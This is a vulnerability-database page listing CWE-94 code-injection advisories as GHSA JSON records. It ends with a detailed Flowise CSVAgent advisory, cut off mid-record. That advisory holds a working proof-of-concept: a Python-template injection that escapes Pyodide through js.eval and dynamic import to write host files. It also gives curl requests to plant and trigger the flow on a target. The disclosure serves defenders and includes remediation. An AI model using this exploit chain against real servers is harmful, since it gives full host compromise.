CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8601 vulnerabilities reference this CWE, most recent first.
GHSA-4HX3-M8W5-G5QH
Vulnerability from github – Published: 2022-05-14 03:31 – Updated: 2024-04-24 18:32Potential remote code execution in LUA context of the redis server via methods yii\redis\ActiveRecord::findOne() and yii\redis\ActiveRecord::findAll() in yiisoft/yii2-redis. Attackers could probably manipulate data on the redis server.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yiisoft/yii2-redis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-8073"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T18:32:01Z",
"nvd_published_at": "2018-03-21T18:29:00Z",
"severity": "CRITICAL"
},
"details": "Potential remote code execution in LUA context of the redis server via methods `yii\\redis\\ActiveRecord::findOne()` and `yii\\redis\\ActiveRecord::findAll()` in yiisoft/yii2-redis. Attackers could probably manipulate data on the redis server.\n",
"id": "GHSA-4hx3-m8w5-g5qh",
"modified": "2024-04-24T18:32:01Z",
"published": "2022-05-14T03:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8073"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/yiisoft/yii2-redis/CVE-2018-8073.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/yiisoft/yii2-redis"
},
{
"type": "WEB",
"url": "https://www.yiiframework.com/news/168/releasing-yii-2-0-15-and-database-extensions-with-security-fixes"
},
{
"type": "WEB",
"url": "http://www.yiiframework.com/news/168/releasing-yii-2-0-15-and-database-extensions-with-security-fixes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "yii2-redis Potential Remote code execution"
}
GHSA-4J25-MWCH-395M
Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2022-05-13 01:28setup/controllers/welcome.php in MODX Revolution 2.5.4-pl and earlier allows remote attackers to execute arbitrary PHP code via the config_key parameter to the setup/index.php?action=welcome URI.
{
"affected": [],
"aliases": [
"CVE-2017-7321"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-30T07:59:00Z",
"severity": "CRITICAL"
},
"details": "setup/controllers/welcome.php in MODX Revolution 2.5.4-pl and earlier allows remote attackers to execute arbitrary PHP code via the config_key parameter to the setup/index.php?action=welcome URI.",
"id": "GHSA-4j25-mwch-395m",
"modified": "2022-05-13T01:28:57Z",
"published": "2022-05-13T01:28:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7321"
},
{
"type": "WEB",
"url": "https://mazinahmed.net/services/public-reports/ModX%20-%20Responsible%20Disclosure%20-%20January%202017.pdf"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4J4F-7RWG-P4Q7
Vulnerability from github – Published: 2022-05-13 01:15 – Updated: 2025-10-22 03:30Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly allocated or (2) is deleted, as exploited in the wild in May 2013.
{
"affected": [],
"aliases": [
"CVE-2013-1347"
],
"database_specific": {
"cwe_ids": [
"CWE-416",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-05-05T11:07:00Z",
"severity": "HIGH"
},
"details": "Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly allocated or (2) is deleted, as exploited in the wild in May 2013.",
"id": "GHSA-4j4f-7rwg-p4q7",
"modified": "2025-10-22T03:30:33Z",
"published": "2022-05-13T01:15:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1347"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-038"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16727"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2013-1347"
},
{
"type": "WEB",
"url": "http://technet.microsoft.com/security/advisory/2847140"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/25294"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/ncas/alerts/TA13-134A"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4J56-GWFC-85W2
Vulnerability from github – Published: 2022-05-14 02:44 – Updated: 2022-05-14 02:44Multiple PHP remote file inclusion vulnerabilities in ClearSite Beta 4.50, and possibly other versions, allow remote attackers to execute arbitrary PHP code via a URL in the cs_base_path parameter to (1) docs.php and (2) include/admin/device_admin.php. NOTE: the header.php vector is already covered by CVE-2009-3306. NOTE: this issue may be due to a variable extraction error.
{
"affected": [],
"aliases": [
"CVE-2010-2145"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-06-03T14:30:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in ClearSite Beta 4.50, and possibly other versions, allow remote attackers to execute arbitrary PHP code via a URL in the cs_base_path parameter to (1) docs.php and (2) include/admin/device_admin.php. NOTE: the header.php vector is already covered by CVE-2009-3306. NOTE: this issue may be due to a variable extraction error.",
"id": "GHSA-4j56-gwfc-85w2",
"modified": "2022-05-14T02:44:29Z",
"published": "2022-05-14T02:44:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2145"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/511507/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/40457"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4J79-4M6Q-77VF
Vulnerability from github – Published: 2022-05-14 02:00 – Updated: 2024-04-25 21:54includes/classes/ia.core.users.php in Subrion CMS 4.0.5 allows remote attackers to conduct PHP Object Injection attacks via crafted serialized data in a salt cookie in a login request.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "intelliants/subrion"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.5"
},
{
"fixed": "4.1.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.0.5"
]
}
],
"aliases": [
"CVE-2017-5543"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-25T21:54:12Z",
"nvd_published_at": "2017-01-20T08:59:00Z",
"severity": "CRITICAL"
},
"details": "`includes/classes/ia.core.users.php` in Subrion CMS 4.0.5 allows remote attackers to conduct PHP Object Injection attacks via crafted serialized data in a salt cookie in a login request.",
"id": "GHSA-4j79-4m6q-77vf",
"modified": "2024-04-25T21:54:12Z",
"published": "2022-05-14T02:00:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5543"
},
{
"type": "WEB",
"url": "https://github.com/intelliants/subrion/issues/297"
},
{
"type": "WEB",
"url": "https://github.com/intelliants/subrion/commit/019dee20a38f39a5827aae2eb92f09b1f6afb7bb"
},
{
"type": "PACKAGE",
"url": "https://github.com/intelliants/subrion"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95688"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Subrion CMS PHP Object Injection"
}
GHSA-4J7W-876X-JG2X
Vulnerability from github – Published: 2022-05-13 01:39 – Updated: 2022-05-13 01:39Unspecified vulnerability in HP MPIO Device Specific Module Manager before 4.02.00 allows local users to gain privileges via unknown vectors.
{
"affected": [],
"aliases": [
"CVE-2014-2639"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-09-28T19:55:00Z",
"severity": "MODERATE"
},
"details": "Unspecified vulnerability in HP MPIO Device Specific Module Manager before 4.02.00 allows local users to gain privileges via unknown vectors.",
"id": "GHSA-4j7w-876x-jg2x",
"modified": "2022-05-13T01:39:01Z",
"published": "2022-05-13T01:39:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2639"
},
{
"type": "WEB",
"url": "http://h20566.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?docId=emr_na-c04048122"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4J86-PPWP-CC7W
Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2025-12-30 12:30The Lucky Wheel for WooCommerce – Spin a Sale plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.1.13. This is due to the plugin using eval() to execute user-supplied input from the 'Conditional Tags' setting without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute arbitrary PHP code on the server. In WordPress multisite installations, this allows Site Administrators to execute arbitrary code, a capability they should not have since plugin/theme file editing is disabled for non-Super Admins in multisite environments.
{
"affected": [],
"aliases": [
"CVE-2025-14509"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-30T12:15:44Z",
"severity": "HIGH"
},
"details": "The Lucky Wheel for WooCommerce \u2013 Spin a Sale plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.1.13. This is due to the plugin using eval() to execute user-supplied input from the \u0027Conditional Tags\u0027 setting without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute arbitrary PHP code on the server. In WordPress multisite installations, this allows Site Administrators to execute arbitrary code, a capability they should not have since plugin/theme file editing is disabled for non-Super Admins in multisite environments.",
"id": "GHSA-4j86-ppwp-cc7w",
"modified": "2025-12-30T12:30:29Z",
"published": "2025-12-30T12:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14509"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woo-lucky-wheel/tags/1.1.13/frontend/frontend.php#L127"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woo-lucky-wheel/trunk/frontend/frontend.php#L127"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3428063"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9a41bc0e-0ab9-4cee-b3ca-d730c828782c?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4J8X-X6V7-W9RQ
Vulnerability from github – Published: 2026-08-04 17:43 – Updated: 2026-08-04 17:43Summary
Flowise's CSVAgent interpolates an attacker-controlled segment of the
csvFile data URI directly into a Python source-code template that is then
executed by Pyodide. Because Pyodide is loaded with the default js bridge
to globalThis (which on Node.js exposes eval and dynamic import()), the
attacker can break out of the Python string literal, hand a JS string to
js.eval, dynamically import any Node built-in module (fs, child_process,
…), and execute arbitrary file I/O or OS commands as the Flowise process.
The two validator paths around this code (validatePythonCodeForDataFrame
and validateCustomReadCSVFunction) are never applied to the bootstrap
template.
A workspace user with chatflows:create (or any agentflows/chatflows
update permission) plants a CSV Agent node with a crafted csvFile. Once the
chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id
endpoint, any unauthenticated request triggers the host RCE.
Details
Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
The run() method extracts the file segment from the data URI by splitting on
, and using two pop() calls (lines 127–138):
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop() // discards trailing filename segment
base64String += splitDataURI.pop() ?? '' // captures the segment we attack
}
}
The captured base64String is then interpolated verbatim into a Python
source string at lines 156–171:
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}" // ← line 161: interpolation sink
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
Validator gaps:
validateCustomReadCSVFunction(customReadCSVFunc)runs on line 147, but this only validates thecustomReadCSVfield, notbase64String.validatePythonCodeForDataFrame(pythonCode)runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template.- No content check (
^[A-Za-z0-9+/=]*$) is applied tobase64Stringbefore interpolation.
Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts,
lines 7–16):
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
Pyodide is loaded with default options. On Node.js, the default js module
inside Pyodide bridges to globalThis, exposing the JS eval function and
top-level dynamic import(). From injected Python, the attacker runs:
import js
await js.eval(
"(async () => {"
" const fs = await import('fs');"
" fs.writeFileSync('proof.txt', 'pwned');"
"})()"
)
…which executes in the host Node.js process, not inside Pyodide's WASM
sandbox. Substituting await import('child_process') for await import('fs')
yields arbitrary OS-command execution via cp.execSync(...) with the same
primitive.
Node-version note. The original PoC for this issue used
js.process.mainModule.require("child_process"), which is a one-liner but only works on Node ≤ 13 becauseprocess.mainModulewas deprecated and now returnsundefinedon Node 14+. Thejs.eval+ dynamic-import()form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stockflowise@3.1.2running on Node 20.20.2 — see Verified end-to-end against live Flowise below.
Trigger path (post-plant): the route POST /api/v1/prediction/:id is in
WHITELIST_URLS (packages/server/src/utils/constants.ts:12); when the
chatflow has no apikeyid set, it is reachable unauthenticated. A prediction
request runs the chatflow, instantiates CSVAgent, and executes the malicious
bootstrap.
PoC
Verified end-to-end on the cloned repo (commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit
was based on).
Reproducer setup
Two files. Save the first as package.json, the second as
repro_a1_pyodide.js, then npm install && node repro_a1_pyodide.js in the
same directory.
package.json:
{
"name": "poc-flowise-s1",
"version": "1.0.0",
"type": "commonjs",
"dependencies": {
"pyodide": "^0.29.3"
}
}
repro_a1_pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI
parser) and :156-171 (the Python template), then runs the assembled Python
through real Pyodide. The injection segment is checked for commas before
assembly to confirm it cannot be fragmented by the JS-side split(',').
// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
// 1. JS-side template-literal interpolation produces malicious Python
// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
// import('fs') -> host file write
//
// CONSTRAINTS:
// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
// of the data URI is what becomes `base64_string`, so this segment must
// contain NO raw `,` bytes.
// * Inside a Python double-quoted string literal, `,` is the escape
// for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`,
// `2`, `c` (no commas), but Python's lexer turns them into commas at
// runtime — letting us pass multiple arguments to JS functions inside
// the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
// `cp = js.process.mainModule.require("child_process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.
const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')
const proofName = 'flowise_a1_pyodide_proof.txt'
const proofPath = path.resolve(__dirname, proofName)
const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'
// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64_string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
'";\n' +
'import js\n' +
`await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
'#'
// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}
const csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`
// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------
const csvFileBase64 = csvFile
const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]
let base64String = ''
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop()
base64String += splitDataURI.pop() ?? ''
}
// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------
// We omit `import pandas as pd` so we don't need to load pandas (~30 MB) just
// to demonstrate the injection. The real flow's pyodide instance preloads
// pandas via LoadPyodide() (core.ts:12). The injection point and validator
// bypass are identical either way.
const code = `import base64
from io import StringIO
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
print("post-injection bootstrap continued; base64_string =", repr(base64_string))
`
console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---')
console.log(code)
console.log('--- end ---\n')
;(async () => {
try { fs.unlinkSync(proofPath) } catch {}
console.log('[*] Loading pyodide...')
const pyodide = await loadPyodide()
console.log('[*] Pyodide loaded; running attacker-assembled Python...\n')
try {
await pyodide.runPythonAsync(code)
} catch (e) {
console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):')
console.log(String(e).split('\n').slice(0, 8).join('\n'))
}
// give the spawned writeFileSync a moment to flush
await new Promise((r) => setTimeout(r, 500))
console.log('\n--- Proof file at ' + proofPath + ' ---')
if (fs.existsSync(proofPath)) {
console.log(fs.readFileSync(proofPath, 'utf-8').trim())
console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.')
} else {
console.log('[-] Proof file not present.')
}
})()
What gets assembled
After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):
import base64
from io import StringIO
import json
base64_string = "";
import js
await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowise_a1_pyodide_proof.txt', 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'); })()")
#"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
...
The "; closes line 161's string literal; the injected statements execute
(awaiting the JS Promise that writes the proof file); the trailing #
comments out the dangling " so the rest of the bootstrap parses. The
remaining b64decode("") returns b'' and pd.read_csv (in the live
template) then raises pandas.errors.EmptyDataError, but the
fs.writeFileSync(...) call has already fired in the Node host.
Observed output (after deleting any prior proof file)
[*] Loading pyodide...
[*] Pyodide loaded; running attacker-assembled Python...
--- Proof file at .../flowise_a1_pyodide_proof.txt ---
FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import
[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.
The proof file flowise_a1_pyodide_proof.txt is written by the Node host
process via the Pyodide js bridge → js.eval(...) →
(await import('fs')).writeFileSync(...), confirming the escape from the
Pyodide WASM sandbox. The standalone repro omits import pandas, so no
post-injection exception is raised — but the live template (pandas.read_csv
on the empty buffer) throws pandas.errors.EmptyDataError after the host
write has already happened, which is exactly the symptom an operator sees in
the chat panel.
Verified end-to-end against live Flowise
The standalone repro above proves the validator-bypass + sandbox-escape
primitive in isolation. The same payload was additionally verified against a
stock flowise@3.1.2 install on Node 20.20.2:
| Step | Action |
|---|---|
| 1 | npm install -g flowise (Node 20.20.2, Linux x64) |
| 2 | flowise start → bind on :3000 |
| 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) |
| 4 | Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows) |
| 5 | Open the chatflow → click chat → send any message |
| 6 | Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file |
| 7 | /home/<user>/flowise_a1_proof.txt is now present, 46 bytes, content FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import, owner-uid matches the Flowise process uid |
Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js,
test-flow.js, the captured evidence-bundle.txt) live at
pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built
verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json
template with three minimal edits — the malicious csvFile data URI on
csvAgent_0, a placeholder credential on chatOpenAI_0, and the sticky
note removed — so it imports cleanly into any Flowise 3.x without the
reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw
when handed a hand-crafted minimal flow.
End-to-end against a live Flowise instance
The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:
# Step 1 — authenticated chatflow author (any user with chatflows:create
# in OSS, this is typically every registered user) plants the flow.
# evil-csvagent-flow.json is a chatflow whose csvAgent node has
# inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED"
curl -X POST https://target/api/v1/chatflows \
-H "Authorization: Bearer <api-key with chatflows:create>" \
-H "Content-Type: application/json" \
-d @evil-csvagent-flow.json
# → returns chatflow id, e.g. "<flow-uuid>"
# Step 2 — anyone, no auth (the route is whitelisted at
# packages/server/src/utils/constants.ts:12) triggers execution:
curl -X POST https://target/api/v1/prediction/<flow-uuid> \
-H "Content-Type: application/json" \
-d '{"question":"go"}'
Step 1 is the only authenticated step; Step 2 is unauthenticated when
chatflow.apikeyid is unset (the default for newly created chatflows).
Impact
- Class: Remote Code Execution via Python-template injection escaping the
Pyodide sandbox through the
jsbridge. - Affected: every Flowise deployment that exposes a chatflow containing a
CSVAgentnode wherecsvFileis operator-supplied (i.e., overridable vianodeOverridesfor the API caller, or planted by any user with chatflow edit permission). - Prerequisites: one user with
chatflows:create/chatflows:update/agentflows:create/agentflows:updateto plant the chatflow once. The trigger is unauthenticated when the chatflow has noapikeyidset (the default for newly created chatflows). - Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.
Metadata
- Affected versions: Confirmed at commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d(main, 2026-04-28) and atflowise@3.1.2. The vulnerable code (splitDataURI.pop()+ template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag. - Fixed version: Unpatched at the audited commit.
- CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H→ Base score 9.9 (Critical). - AV:N — public
/api/v1/prediction/:idtrigger. - AC:L — deterministic; no race / timing.
- PR:L — one user with
chatflows:create(or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this. - UI:N — no user interaction required at trigger time.
- S:C — Pyodide's WASM/Python sandbox is the intended security authority
for this code path; the
jsbridge escape and the validator bypass break out to the Node host process. - C:H / I:H / A:H — full host compromise.
- CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').
Remediation
Maintainer fix (preferred — eliminates string-interpolation entirely):
pass the base64 value through Pyodide's globals.set API instead of
template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts,
replace the construction at lines 156–171 with something like:
const pyodide = await LoadPyodide()
pyodide.globals.set('base64_string', base64String)
const code = `import pandas as pd
import base64
from io import StringIO
import json
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
This keeps the value as a Python str object that never enters the source
text. Apply the same change to AirtableAgent.ts if it follows the same
pattern.
Defense in depth (recommended as well):
1. Validate base64String against ^[A-Za-z0-9+/=]*$ before interpolation
(rejects every escape character used in the PoC).
2. Disable Pyodide's js module on load. Pyodide supports loadPyodide({ jsglobals: {} })
or the js-module-removal recipe; either prevents the bridge to
globalThis.process on Node.js. Apply in
packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide.
3. Run validatePythonCodeForDataFrame (or a stricter equivalent) over the
bootstrap template, not only over the LLM-emitted code. The current
ordering inverts the trust assumption.
4. Add a positive allow-list to validateCustomReadCSVFunction enumerating
only safe pandas readers (e.g., read_csv and column-typed forms);
exclude read_pickle, read_html, read_xml, read_parquet,
read_orc, read_feather, read_json (these are independently
exploitable — see S2/S3 in the submission roadmap).
User mitigations until a patch ships:
- Set chatflow.apikeyid on every chatflow that uses CSVAgent so
validateFlowAPIKey enforces auth on /api/v1/prediction/:id.
- Set chatbotConfig.allowedOrigins to a strict list (note: this only
defends against browser callers, not curl/server-side).
- Restrict chatflows:create / agentflows:create permissions to trusted
users only.
- Where possible, strip csvFile from the nodeOverrides allow-list on
affected chatflows so it cannot be supplied at prediction time.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69264"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T17:43:48Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nFlowise\u0027s `CSVAgent` interpolates an attacker-controlled segment of the\n`csvFile` data URI directly into a Python source-code template that is then\nexecuted by Pyodide. Because Pyodide is loaded with the default `js` bridge\nto `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the\nattacker can break out of the Python string literal, hand a JS string to\n`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,\n\u2026), and execute arbitrary file I/O or OS commands as the Flowise process.\nThe two validator paths around this code (`validatePythonCodeForDataFrame`\nand `validateCustomReadCSVFunction`) are never applied to the bootstrap\ntemplate.\n\nA workspace user with `chatflows:create` (or any `agentflows`/`chatflows`\nupdate permission) plants a CSV Agent node with a crafted `csvFile`. Once the\nchatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`\nendpoint, *any unauthenticated* request triggers the host RCE.\n\n### Details\n\n**Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\nThe `run()` method extracts the file segment from the data URI by splitting on\n`,` and using two `pop()` calls (lines 127\u2013138):\n\n```ts\n} else {\n if (csvFileBase64.startsWith(\u0027[\u0027) \u0026\u0026 csvFileBase64.endsWith(\u0027]\u0027)) {\n files = JSON.parse(csvFileBase64)\n } else {\n files = [csvFileBase64]\n }\n\n for (const file of files) {\n if (!file) continue\n const splitDataURI = file.split(\u0027,\u0027)\n splitDataURI.pop() // discards trailing filename segment\n base64String += splitDataURI.pop() ?? \u0027\u0027 // captures the segment we attack\n }\n}\n```\n\nThe captured `base64String` is then **interpolated verbatim** into a Python\nsource string at lines 156\u2013171:\n\n```ts\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\" // \u2190 line 161: interpolation sink\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code) // \u2190 line 171: sink\n```\n\n**Validator gaps:**\n\n- `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but\n this only validates the 